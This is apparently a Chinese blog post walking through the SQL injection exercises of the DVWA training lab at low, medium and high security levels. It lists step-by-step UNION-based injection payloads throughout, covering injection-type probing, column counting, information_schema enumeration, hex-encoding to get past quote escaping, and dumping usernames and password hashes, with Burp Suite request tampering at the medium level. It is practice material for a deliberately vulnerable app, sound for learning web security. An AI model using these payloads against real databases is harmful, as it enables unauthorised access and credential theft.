完成dvwas中sql注入模块的练习

1登陆dvwa网页(用户名:admin 密码:password)
在这里插入图片描述2修改安全级别(默认是impossible,改成low)
在这里插入图片描述3点击SQL injection
在这里插入图片描述
4先输入一个 后弹出
在这里插入图片描述

我们开始分析这句话: You have an error in your SQL syntax; check the manual that
corresponds to your MariaDB server version for the right syntax to use
near ‘’’’’ at line 1 意译:您的SQL语法有错误;请查看与您的MariaDB服务器版本相对应的手册,以获取在第1行的
‘’’’’ 附近使用的正确语法

此处有五个单引号,分为三个部分: 最外面一对,只是为了高亮显示,起到强调的作用 再往里一对,是对于字符串类型的SQL查询语句的自动闭合
最里面的一个,是刚刚我们输入的SQL语句

5.然后依次输入 1 1 and 1=1 1 and 1=2
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

and逻辑语句并没有起到应有的结果,所以这不是整型注入,并且and并没有被过滤

6.依次输入1’ and 1=‘1 1’ and 1=‘2 1’ and 1=1 1’ and 1=2 #
在这里插入图片描述
在这里插入图片描述

and逻辑语句起到了作用,所以为字符型注入 单引号没有被过滤,可以使用单引号手工闭合
注释符#也没有被过滤,可以注释后面系统自动闭合的一个单引号

7.依次输入:1’ or 1=‘1 1’ or 1=‘2 1’ or 1=1 1’ or 1=2 #
![在这里插入图片描述](https://img-blog.csdnimg.cn/09ff1cc8421f415fabab6ccf3d3e771d.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAU19jeDY2Ng==,size_15,color_FFFFFF,t_70,g_se,x_16
在这里插入图片描述
在这里插入图片描述

分析: or逻辑语句起到了作用,所以印证了之前的字符型注入 or没有被过滤,毕竟正常解析了嘛

8使用order by猜解字段数,依次 输入:1’ order by
10#------------------------显示未知列,也就是不存在那么多列 输入:1’ order by
5#------------------------显示未知列,也就是不存在那么多列 输入:1’ order by
3#------------------------显示未知列,也就是不存在那么多列 输入:1’ order by
2#------------------------直到这里,我们才正常回显

在这里插入图片描述

分析: 使用二分法,来确定这个从表中查询内容的查询语句,其表中的字段有两个,也就是列有两列

9使用union select猜解字段回显的顺序:
输入:1’ union select 1,‘2
或者输入:1’ union select 1,2#
在这里插入图片描述
在这里插入图片描述

分析: ①、这里的手工闭合,还有使用注释符#略过自动闭合的单引号都可以成功注入 ②、回显的顺序位置,很明显,名(first
name)这个列是1位置,姓(Surname)这个列是2位置

10使用union select联合查询,爆用户,数据库版本,当前目录等等:

输入:1’ union select 1,user()#
输入:1’ union select 1,version()#
输入:1’ union select 1,@@basedir#
在这里插入图片描述
在这里插入图片描述

11爆当前数据库的表名:users和guestbook表

输入:1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘dvwa--------单引号没被过滤,可以手动闭合
或者输入:1’ union select 1,group_concat(table_name) from information_schema.tables where
table_schema=‘dvwa’#--------单引号没被过滤,不可以手动闭合
或者输入:1’ union select 1,group_concat(table_name) from information_schema.tables where
table_schema=0x64767761#----------单引号被过滤,不可以手动闭合(dvwa的十六进制:0x64767761)
或者输入:1’ union select 1,group_concat(table_name) from
information_schema.tables where table_schema=database()#
总结:单引号是否被过滤,单引号是否可以进行手动闭合,注释符是否可以使用

在这里插入图片描述
在这里插入图片描述

分析: MySQL数据库的密码,都是默认经过md5加密的,我们解码即可得到密码

综上所述:得到该MySQL数据库中名为dvwa数据库的,其中dvwa平台的用户名和密码
用户名:admin
密码:password
//注意爆出的并不是MySQL数据库的管理员用户名和密码,只是这个数据库里的,有一个名为dvwa的数据库里存了一个dvwa平台的登录用户名和密码

12.开始Medium级别的SQL注入
在这里插入图片描述
我们对火狐浏览器时候代理,用Burpsuite来拦截请求包,修改后,再放通
首先给浏览器设置代理:

在这里插入图片描述
在浏览器选择1,点击提交;并且在Burpsuite对拦截的包修改后放通
在这里插入图片描述

拦截后修改的顺序:

1、确定注入点类型:为整型注入 and 1=1 正常回显 and 1=2 不回显,说明and逻辑语句起到了效果 or
1=1 正常回显 or 1=2 正常回显,说明or逻辑语句页起到了效果

2、找那些被过滤了 :(这里是利用了转移字符来把特殊的字符转义了其字符原有的含义,达到了过滤的效果) ’ 报错,内容为: ’ \ ’
’ 对于报错内容分析:最外面一对单引号是高亮显示,起到了强调的作用,里面的
',说明该dvwa的管理员对单引号进行了转义,也就是过滤了单引号,我们之后就不能用手动闭合了。。。。

3、猜解字段数: order by 10 order by 5 order by 3 order by 2

4、猜解字段回显顺序 union select 1,2

5、爆库名、数据库版本、数据库用户名、当前目录 union select database(),version union select
user(),@@basedir()

6、爆名为dvwa的数据库里的表有哪些:guestbook,users union select
1,group_concat(table_name) from information_schema.tables where
table_schema=‘dvwa’ //此处会报错,内容为:’‘dvwa’’
因为单引号被转义了嘛,我们可以使用转换为十六进制来绕过,毕竟转换为十六进制后,就相当于专有名词,不再需要些单引号了 union select
1,group_concat(table_name) from information_schema.tables where
table_schema=0x64767761

7、爆名为users表的字段名:特殊的有user和password union select
1,group_concat(column_name) from information_schema.columns where
table_name=0x7573657273

8、爆名为user和password字段的值:得到特殊的有 admin : 5f4dcc3b5aa765d61d8327deb882cf99
union select 1,group_concat(concat_ws(char(32,58,32),user,password))
from users

开始High级别的SQL注入

1、判断注入点类型: ’ 报错,报错内容为:Something went wrong. 1 and 1=1 正常回显 1 and
1=2 正常回显,说明and逻辑语句没有起到效果,初步认为是字符型注入 1’ and ‘1 正常回显 1’ and
1=‘2 不回显,初步认为and语句起到了 效果 1’ or ‘1 不正常的回显,or语句没有起到效果 1’ or
1=‘2 不正常的回显,or语句没有起到效果 //既然如此的模糊不清,我们使用#来测试 1’ and 1# 正常回显 1’ and
1=2# 不回显,and语句起到了效果 1’ or 1# 正常回显 1’ or 1=2# 正常回显,or语句起到了效果
//以上说明了,单引号的手工闭合,可能不能用了

2、使用order by猜解字段数为:2 1’ order by 10# 1’ order by 5# 1’ order by 3#
1’ order by 2#

3、使用union select猜解字段回显顺序:First name:1,Surname:2 1’ union select
1,2# 正常回显 1’ union select
1,'2 不正常的回显,说明单引号的手工闭合,不起到效果了,与此前在判断注入点类型的时候,印证了

4、使用union select爆库名、数据库版本、数据库用户、当前目录 1’ union select
database(),version()# 1’ union select user(),@@basedir#

5、使用union select爆dvwa库中的表名 1’ union select 1,group_concat(table_name)
from information_schema.tables where
table_schema=‘dvwa 不正常回显,说明单引号不能用来手工闭合了 1’ union select
1,group_concat(table_name) from information_schema.tables where
table_schema=‘dvwa’# 正常回显,说明单引号只是不能手工闭合,但是可以使用 1’ union select
1,group_concat(table_name) from information_schema.tables where
table_schema=0x64767761# 正常回显

6、使用union select爆users表中的字段名 1’ union select
1,group_concat(column_name) from information_schema.columns where
table_name=‘users 不正常回显,再一次印证了单引号不能用来手工闭合 1’ union select
1,group_concat(column_name) from information_schema.columns where
table_name=‘users’# 正常回显,再一次印证了单引号只是不能用来手工闭合,但是可以使用 1’ union select
1,group_concat(column_name) from information_schema.columns where
table_name=0x7573657273# 正常回显

7、使用union select爆users表中的字段值 1’ union select
1,group_concat(concat_ws(char(32,58,32),user,password)) from
users# 正常回显

总结:字符型注入的7个要点

1、什么类型的注入
2、过滤了什么
3、单引号是否被过滤
4、单引号,如果没有被过滤,是否可以手工闭合
5、是否可以使用注释符#
6、使用order by猜解字段数的时候以及爆字段值的时候,不能使用手动闭合
7、使用union select联合查询的时候,不能对专有名词手动闭合,十六进制也属于专有名词

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值